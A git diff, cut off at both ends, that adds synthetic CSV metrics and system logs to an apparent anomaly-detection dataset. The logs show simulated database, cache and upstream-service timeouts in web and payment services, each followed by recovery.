Starting daily clean up activities... +Jul 02 12:02:05 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:02:10 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:02:15 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:02:20 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:02:25 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:02:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:02:35 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:02:40 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:02:45 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:02:50 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor +Jul 02 12:03:00 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:05 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:10 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:15 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:25 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor +Jul 02 12:03:35 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:40 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:45 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:50 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:03:55 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:00 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor +Jul 02 12:04:10 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:04:15 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:20 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:25 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:30 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:35 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor +Jul 02 12:04:45 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:50 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:04:55 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:05:05 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:10 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor +Jul 02 12:05:20 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:25 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:30 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:35 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:40 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:45 web-app[3456]: ERROR Failed to connect to primary-db: Connection timed out after 10000ms +Jul 02 12:05:50 web-app[3456]: INFO Successfully reconnected to primary-db +Jul 02 12:05:55 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:00 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:05 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:10 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:15 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:20 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:25 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:30 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:35 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:40 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:45 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:50 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:06:55 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:07:00 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:07:05 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:07:10 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:07:15 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:07:20 web-app[3456]: POST /api/v1/orders status=202 Accepted +Jul 02 12:07:25 web-app[3456]: POST /api/v1/orders status=202 Accepted diff --git a/anom_dataset/scenario_13/anom_13_21.csv b/anom_dataset/scenario_13/anom_13_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..91470ad06ad88b8afd33714b830d6fa3349913a2 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,10.412152240321518,40.0372933082183,31.58055775627385,1.0723495334769757,0.6611866850584913 +2025-07-02T12:00:05Z,17.977226089007054,37.821483079707946,28.881544780137975,1.3805405676795197,0.6912575738225271 +2025-07-02T12:00:10Z,14.75151075689765,36.80134607986526,29.513604159236017,1.2850589696701995,0.7274223432380096 +2025-07-02T12:00:15Z,9.058830410064466,40.50651573311577,21.381644603443867,1.2984038867829892,0.8856157908627557 +2025-07-02T12:00:20Z,15.018818305183942,43.543308863450115,26.868754546768546,1.1670632299557828,0.8881702367550275 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+2025-07-02T12:07:10Z,12.708866497510918,49.403875312624606,37.04282856706213,1.1072046197733116,0.9187661786738283 +2025-07-02T12:07:15Z,14.87737816099788,47.819020354165765,29.432068326192613,1.2842722319522428,0.9412771290642414 +2025-07-02T12:07:20Z,15.958076170114696,48.551511008959416,23.502630654612727,0.6152002222080305,1.0871168760778893 +2025-07-02T12:07:25Z,11.213227298129661,47.283258741511126,26.946419139215287,1.333099918055358,1.0392389858441762 diff --git a/anom_dataset/scenario_13/anom_13_21.log b/anom_dataset/scenario_13/anom_13_21.log new file mode 100644 index 0000000000000000000000000000000000000000..3930d10f413c7494e2a6a0597b6d93a9cfaad6d8 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_21.log @@ -0,0 +1,79 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 web-app[2534]: GET /api/v1/products/101 status=200 OK +Jul 02 12:00:00 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:00:15 web-app[2534]: GET /api/v1/user/58 status=200 OK +Jul 02 12:00:30 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:00:35 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:00:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:45 web-app[2534]: GET /api/v1/session status=200 OK +Jul 02 12:01:00 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:01:10 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:01:15 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:15 web-app[2534]: GET /api/v1/products/101 status=200 OK +Jul 02 12:01:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 web-app[2534]: GET /api/v1/session status=200 OK +Jul 02 12:01:45 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:01:45 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:02:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:02:15 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:02:20 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:02:30 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:30 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:02:30 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:02:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:40 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:02:40 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:02:45 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:02:50 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:03:00 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:03:00 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:03:00 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:03:10 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:03:15 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:20 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:03:20 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:03:30 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:03:30 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:03:40 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:03:40 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:03:45 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:45 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:03:50 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:04:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:00 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:04:00 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:04:00 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:04:10 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:04:15 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:04:20 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:04:20 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:04:30 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:04:30 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:04:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:04:40 web-app[2534]: WARN Database connection pool exhausted. Waiting for connection... +Jul 02 12:04:45 web-app[2534]: GET /api/v1/orders/88 status=503 Service Unavailable +Jul 02 12:04:50 web-app[2534]: ERROR Failed to connect to database 'main_db': Connection timed out after 3000ms +Jul 02 12:05:00 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:00 web-app[2534]: GET /api/v1/session status=200 OK +Jul 02 12:05:15 web-app[2534]: GET /api/v1/user/58 status=200 OK +Jul 02 12:05:15 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:05:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:30 web-app[2534]: GET /api/v1/products/101 status=200 OK +Jul 02 12:05:45 web-app[2534]: GET /api/v1/session status=200 OK +Jul 02 12:05:50 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:00 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:06:15 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:15 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:06:25 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:06:30 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:45 web-app[2534]: GET /api/v1/session status=200 OK +Jul 02 12:07:00 web-app[2534]: GET /api/v1/user/34 status=200 OK +Jul 02 12:07:00 db-service[5432]: INFO Query executed successfully. duration=25ms +Jul 02 12:07:15 web-app[2534]: GET /api/v1/user/58 status=200 OK +Jul 02 12:07:20 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_13/anom_13_22.csv b/anom_dataset/scenario_13/anom_13_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..db716a1013d01f61fae4325bfadf8a32b2b5f9ed --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-02T12:07:20Z,31.197597187502225,46.69653066622688,26.888655766584215,1.1606926924776357,0.9466218082235391 +2025-07-02T12:07:25Z,25.776652949236677,42.64075514534484,23.134927889567415,1.377095255854818,1.108612983735904 diff --git a/anom_dataset/scenario_13/anom_13_22.log b/anom_dataset/scenario_13/anom_13_22.log new file mode 100644 index 0000000000000000000000000000000000000000..056528fb11595d786175ca8812fa6f9ae664c37a --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_22.log @@ -0,0 +1,44 @@ +Jul 02 11:59:58 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:00 payment-gateway[1234]: GET /api/v1/user/3 status=200 OK +Jul 02 12:00:20 payment-gateway[1234]: GET /api/v1/products status=200 OK +Jul 02 12:00:40 payment-gateway[1234]: GET /api/v1/products status=200 OK +Jul 02 12:01:00 payment-gateway[1234]: GET /api/v1/products status=200 OK +Jul 02 12:01:13 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:20 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:01:40 payment-gateway[1234]: GET /api/v1/products status=200 OK +Jul 02 12:02:00 payment-gateway[1234]: GET /api/v1/products status=200 OK +Jul 02 12:02:20 payment-gateway[1234]: GET /api/v1/products status=200 OK +Jul 02 12:02:28 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:30 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:02:40 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:02:40 payment-gateway[1234]: WARN Retrying connection to api.payment.com... (1/5) +Jul 02 12:02:50 payment-gateway[1234]: GET /api/v1/process-payment status=503 Service Unavailable +Jul 02 12:03:00 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:03:00 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:03:10 payment-gateway[1234]: WARN Retrying connection to api.payment.com... (1/5) +Jul 02 12:03:20 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:03:20 payment-gateway[1234]: WARN Retrying connection to api.payment.com... (1/5) +Jul 02 12:03:30 payment-gateway[1234]: GET /api/v1/process-payment status=503 Service Unavailable +Jul 02 12:03:40 payment-gateway[1234]: GET /api/v1/process-payment status=503 Service Unavailable +Jul 02 12:03:40 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:03:43 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:50 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:04:00 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:04:00 payment-gateway[1234]: GET /api/v1/user/3 status=200 OK +Jul 02 12:04:10 payment-gateway[1234]: WARN Retrying connection to api.payment.com... (1/5) +Jul 02 12:04:20 payment-gateway[1234]: ERROR Could not establish connection with database: timeout expired +Jul 02 12:04:20 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:04:30 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:04:40 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:04:40 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:04:50 payment-gateway[1234]: ERROR Failed to connect to remote service api.payment.com: Connection timed out +Jul 02 12:04:58 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:00 payment-gateway[1234]: GET /api/v1/user/3 status=200 OK +Jul 02 12:05:20 payment-gateway[1234]: GET /api/v1/user/3 status=200 OK +Jul 02 12:05:40 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:06:00 payment-gateway[1234]: GET /api/v1/user/3 status=200 OK +Jul 02 12:06:14 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:20 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:06:40 payment-gateway[1234]: GET /api/v1/user/3 status=200 OK +Jul 02 12:07:00 payment-gateway[1234]: POST /api/v1/login status=200 OK +Jul 02 12:07:20 payment-gateway[1234]: GET /api/v1/products status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_23.csv b/anom_dataset/scenario_13/anom_13_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..24879e9e53e24b230d5c3ba76c1d34f7f605174f --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,16.33,34.6,27.92,1.46,1.15 +2025-07-13T10:00:05Z,8.47,37.83,31.93,1.21,0.52 +2025-07-13T10:00:10Z,17.66,42.71,26.76,1.37,0.52 +2025-07-13T10:00:15Z,12.43,43.16,30.3,1.41,0.86 +2025-07-13T10:00:20Z,13.91,40.41,31.37,1.24,0.87 +2025-07-13T10:00:25Z,13.26,37.9,29.82,0.76,0.73 +2025-07-13T10:00:30Z,17.67,41.41,32.23,1.09,0.55 +2025-07-13T10:00:35Z,14.23,40.63,32.08,1.25,1.06 +2025-07-13T10:00:40Z,12.63,41.68,28.39,1.24,1.01 +2025-07-13T10:00:45Z,16.35,41.1,27.4,0.85,0.69 +2025-07-13T10:00:50Z,14.64,39.43,26.36,1.52,1.09 +2025-07-13T10:00:55Z,15.8,39.01,33.65,1.33,0.92 +2025-07-13T10:01:00Z,11.92,37.51,26.38,0.79,0.78 +2025-07-13T10:01:05Z,12.53,38.37,28.86,1.24,0.73 +2025-07-13T10:01:10Z,14.85,36.2,28.54,1.16,0.83 +2025-07-13T10:01:15Z,16.47,40.15,27.33,1.38,1.22 +2025-07-13T10:01:20Z,10.98,38.48,31.0,1.04,0.85 +2025-07-13T10:01:25Z,15.17,38.79,27.87,1.49,0.68 +2025-07-13T10:01:30Z,11.26,39.2,30.74,1.37,0.86 +2025-07-13T10:01:35Z,17.27,39.64,32.53,1.33,0.89 +2025-07-13T10:01:40Z,12.66,44.14,29.96,1.35,0.79 +2025-07-13T10:01:45Z,13.72,39.48,32.16,1.24,0.75 +2025-07-13T10:01:50Z,14.88,39.1,29.7,1.36,0.53 +2025-07-13T10:01:55Z,13.74,38.58,24.46,0.81,1.08 +2025-07-13T10:02:00Z,16.61,40.4,28.92,0.99,0.8 +2025-07-13T10:02:05Z,17.19,37.36,29.99,1.32,1.09 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+2025-07-13T10:07:10Z,16.64,44.93,34.55,0.95,0.74 +2025-07-13T10:07:15Z,14.16,42.24,24.76,0.99,1.05 +2025-07-13T10:07:20Z,13.81,40.87,28.03,1.09,1.05 +2025-07-13T10:07:25Z,19.56,39.77,26.75,1.08,0.71 diff --git a/anom_dataset/scenario_13/anom_13_23.log b/anom_dataset/scenario_13/anom_13_23.log new file mode 100644 index 0000000000000000000000000000000000000000..98cc5bd04e5adfba94027d7ec66065e838604cb7 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_23.log @@ -0,0 +1,57 @@ +Jul 13 10:00:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:00:00 systemd[1]: Starting daily user session clean up... +Jul 13 10:00:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:00:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:00:50 systemd[1]: Starting daily user session clean up... +Jul 13 10:01:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:01:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:01:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:01:40 systemd[1]: Starting daily user session clean up... +Jul 13 10:02:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:02:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:02:30 systemd[1]: Starting daily user session clean up... +Jul 13 10:02:30 web-app[2233]: WARN: Upstream service 'payment-api' returned 503 Service Unavailable +Jul 13 10:02:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:02:40 web-app[2233]: ERROR: Timed out waiting for response from third-party API 'shipping-quote-service' +Jul 13 10:02:50 web-app[2233]: WARN: Upstream service 'payment-api' returned 503 Service Unavailable +Jul 13 10:03:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:03:00 web-app[2233]: ERROR: Timed out waiting for response from third-party API 'shipping-quote-service' +Jul 13 10:03:10 web-app[2233]: ERROR: Connection to database 'postgres-main' on host 'db.internal' timed out +Jul 13 10:03:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:03:20 systemd[1]: Starting daily user session clean up... +Jul 13 10:03:20 web-app[2233]: WARN: Upstream service 'payment-api' returned 503 Service Unavailable +Jul 13 10:03:30 web-app[2233]: WARN: Upstream service 'payment-api' returned 503 Service Unavailable +Jul 13 10:03:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:03:40 web-app[2233]: WARN: Upstream service 'payment-api' returned 503 Service Unavailable +Jul 13 10:03:50 web-app[2233]: ERROR: Connection to database 'postgres-main' on host 'db.internal' timed out +Jul 13 10:04:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:04:00 web-app[2233]: WARN: Upstream service 'payment-api' returned 503 Service Unavailable +Jul 13 10:04:10 systemd[1]: Starting daily user session clean up... +Jul 13 10:04:10 web-app[2233]: CRITICAL: All database connections in the pool are busy. Could not get a connection. +Jul 13 10:04:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:04:20 web-app[2233]: CRITICAL: All database connections in the pool are busy. Could not get a connection. +Jul 13 10:04:30 web-app[2233]: CRITICAL: All database connections in the pool are busy. Could not get a connection. +Jul 13 10:04:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:04:40 web-app[2233]: ERROR: Connection to database 'postgres-main' on host 'db.internal' timed out +Jul 13 10:04:50 web-app[2233]: ERROR: Failed to fetch data from cache 'redis-cache': Connection refused +Jul 13 10:05:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:05:00 systemd[1]: Starting daily user session clean up... +Jul 13 10:05:00 web-app[2233]: ERROR: Timed out waiting for response from third-party API 'shipping-quote-service' +Jul 13 10:05:10 web-app[2233]: ERROR: Timed out waiting for response from third-party API 'shipping-quote-service' +Jul 13 10:05:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:05:20 web-app[2233]: ERROR: Timed out waiting for response from third-party API 'shipping-quote-service' +Jul 13 10:05:30 web-app[2233]: CRITICAL: All database connections in the pool are busy. Could not get a connection. +Jul 13 10:05:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:05:40 web-app[2233]: ERROR: Connection to database 'postgres-main' on host 'db.internal' timed out +Jul 13 10:05:50 systemd[1]: Starting daily user session clean up... +Jul 13 10:05:50 web-app[2233]: INFO: Successfully reconnected to database 'postgres-main' +Jul 13 10:05:50 web-app[2233]: GET /api/v1/orders/recent status=200 OK +Jul 13 10:06:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:06:15 web-app[2233]: GET /api/v1/orders/recent status=200 OK +Jul 13 10:06:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:06:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:06:40 systemd[1]: Starting daily user session clean up... +Jul 13 10:06:40 web-app[2233]: GET /api/v1/orders/recent status=200 OK +Jul 13 10:07:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 13 10:07:05 web-app[2233]: GET /api/v1/orders/recent status=200 OK +Jul 13 10:07:20 web-app[2233]: GET /api/v1/user/profile status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_24.csv b/anom_dataset/scenario_13/anom_13_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..06e845ababd6db3079155af695a2ade7200cef77 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.19,43.17,31.26,1.14,1.18 +2025-07-02T12:00:05Z,15.01,48.93,39.52,0.81,0.88 +2025-07-02T12:00:10Z,15.97,48.42,33.2,1.36,1.13 +2025-07-02T12:00:15Z,16.12,41.41,40.69,0.94,1.11 +2025-07-02T12:00:20Z,18.34,48.36,43.62,1.0,0.93 +2025-07-02T12:00:25Z,19.43,42.48,44.06,1.28,1.39 +2025-07-02T12:00:30Z,19.08,48.86,28.53,1.02,0.98 +2025-07-02T12:00:35Z,12.72,49.64,30.72,1.41,0.75 +2025-07-02T12:00:40Z,11.35,46.5,35.44,0.98,0.76 +2025-07-02T12:00:45Z,11.17,45.51,37.84,0.81,0.88 +2025-07-02T12:00:50Z,17.89,45.78,42.61,1.22,1.07 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b/anom_dataset/scenario_13/anom_13_24.log new file mode 100644 index 0000000000000000000000000000000000000000..01c4808215ff62efb98f55677d44b47e19015cb1 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_24.log @@ -0,0 +1,61 @@ +Jul 02 12:00:00 kubelet[3456]: INFO Liveness probe succeeded for pod api-gateway +Jul 02 12:00:00 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:00:15 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:00:30 web-app[2235]: POST /api/v1/login status=200 OK +Jul 02 12:00:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:45 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:01:00 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:01:15 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:01:45 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:02:00 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:02:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:15 web-app[2235]: POST /api/v1/login status=200 OK +Jul 02 12:02:30 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:02:45 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:03:00 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:05 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:03:10 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:03:15 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:20 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:03:25 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:03:30 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:35 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:03:40 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:03:45 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:50 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:03:55 api-gateway[4567]: GET 